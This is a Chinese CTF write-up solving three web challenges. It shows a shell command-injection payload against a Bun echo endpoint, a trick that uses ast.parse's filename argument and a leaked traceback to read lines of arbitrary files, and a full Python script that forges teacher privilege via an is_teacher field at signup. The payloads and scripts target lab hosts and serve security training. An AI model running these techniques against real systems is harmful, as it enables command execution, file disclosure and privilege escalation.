wp wp 第九届封神台Web wp 达达 2025-11-25 2025-11-25 EzEcho 看源码 利用点只能是这里
1 2 3 4 5 const output = await $`echo ${msg}`.text(); return new Response(output, { headers: { "Content-Type": "text/plain" } }); } } });
然后这里去查了一下发现是HITCONCTF2024里的一个题
HITCON CTF2024 web复现-先知社区
exp:
1 2 3 4 5 6 7 8 9 10 11 12 import requests payloads = [ '/readflag\tgive\tme\tthe\tflag1<1.sh', '`sh<1.sh`' ] url = "http://f46l3r60.lab.aqlab.cn/echo" for cmd in payloads: response = requests.post(url, data={'msg': cmd}) print(response.text)
EzPyeditor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import ast import traceback from flask import Flask, render_template, request app = Flask(__name__) @app.get("/") def home(): return render_template("index.html") @app.post("/check") def check(): try: ast.parse(**request.json) return {"status": True, "error": None} except Exception: return {"status": False, "error": traceback.format_exc()} if __name__ == '__main__': app.run(debug=True)
利用点是ast.parse(**request.json)和traceback.format_exc()
ast.parse() 参数特性 :filename 参数在发生语法错误时会被包含在错误信息中。如果 filename 设置为目标文件路径(如 /app/secret.py),且源代碼包含语法错误,错误信息会显示该文件名
错误处理机制 :当语法错误发生时,服务器返回完整的错误回溯(traceback),其中包含 filename 的内容。如果目标文件(如 secret.py)存在语法错误,其内容会出现在错误信息中。
构造恶意请求 :向 /check 端点发送 POST 请求,包含以下 JSON 数据:
1 2 3 4 { "source" : "!!!" , "filename" : "/app/secret.py" }
source: 设置为无效的 Python 语法(如 !!!),强制触发语法错误。
filename: 设置为目标文件的绝对路径(如 /app/secret.py)。
触发错误泄露文件内容 :
服务器尝试解析 source 时遇到语法错误。 (因为 !!! 不是合法的 Python 代码)
由于 filename 被设置为 /app/secret.py,错误回溯会包含该文件的内容。
服务器返回的错误信息中将显示 secret.py 的内容,包括 Flag。
这里可以看到有报错出文件名字即文件内容的 只不过报错出的文件内容是空白的
这里是因为 Python 的 ast.parse() 在语法解析报错的时候,SyntaxError 默认只会把出错位置所在的那一行源码 放进 traceback,其他行不会显示
也就是它默认只会展示出错行 ,不会显示整个文件。
我们这里看到的空行刚好就是secret.py里的第一行
怎么利用?
SyntaxError 报错的行数是由 lineno 控制的。 在 ast.parse() 解析你的 source 时,如果你让它报错在一个很靠后的行号 ,它就会去读取对应的那一行源码并返回给你。
即我们可以使用 \n!!! 换行符 把!!!移到下一行
ast.parse() 会去 /app/secret.py 读取那一行也就是第二行的内容,并放到报错里回显出来。
可以看到这里的flag在第五行 所以只需要添加五个\n 就可以把!!!移至第六行 将第六行的内容即flag 报错回显出来
payload:
1 2 3 4 { "source": "\n\n\n\n\n!!!", "filename": "/app/secret.py" }
EzGrades 这题应该是一个jwt伪造吧
登录成功之后查找cookie进行jwt解密得到
可以看到这里是stu的身份
route.py文件里这里还有一个teacher
auth.py这里有一个is_teacher 但是默认登录之后 该值为false
所以大概率就是伪造 is_teacher为True 然后去访问/grades_flag路由 获得服务器上的flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import requestsimport reTARGET_URL = "http://pklrgr6m.lab.aqlab.cn/" def exploit (): payloads = [ {'is_teacher' : True }, ] for payload in payloads: signup_data = { 'stu_num' : 'attacker' , 'stu_email' : 'attacker@example.com' , 'password' : 'pwned' } signup_data.update(payload) print (f"尝试payload: {payload} " ) try : signup_res = requests.post( f"{TARGET_URL} /signup" , data=signup_data, allow_redirects=False , timeout=10 ) except requests.exceptions.RequestException as e: print (f"请求失败: {e} " ) continue if 'auth_token' not in signup_res.cookies: print ("注册失败!未获得auth_token" ) continue auth_token = signup_res.cookies['auth_token' ] print (f"获得令牌: {auth_token[:50 ]} ..." ) grades_res = requests.get( f"{TARGET_URL} /grades" , cookies={'auth_token' : auth_token}, timeout=5 ) if grades_res.status_code == 200 : print ("令牌验证成功!" ) flag_res = requests.get( f"{TARGET_URL} /grades_flag" , cookies={'auth_token' : auth_token}, timeout=5 ) if flag_res.status_code == 200 : patterns = [ r'<td>Flag</td>\s*<td>(.*?)</td>' , r'flag{.*?}' , r'FLAG{.*?}' , r'[A-Z0-9]{31}=' ] for pattern in patterns: flag_match = re.search(pattern, flag_res.text) if flag_match: flag = flag_match.group(0 ) print (f"成功获取flag: {flag} " ) return True print ("在响应中找到flag页面,但未识别出flag格式" ) print (f"响应内容:\n{flag_res.text[:500 ]} ..." ) else : print (f"访问flag页面失败,状态码: {flag_res.status_code} " ) else : print (f"令牌无效,状态码: {grades_res.status_code} " ) print ("所有payload尝试失败" ) return False if __name__ == "__main__" : exploit()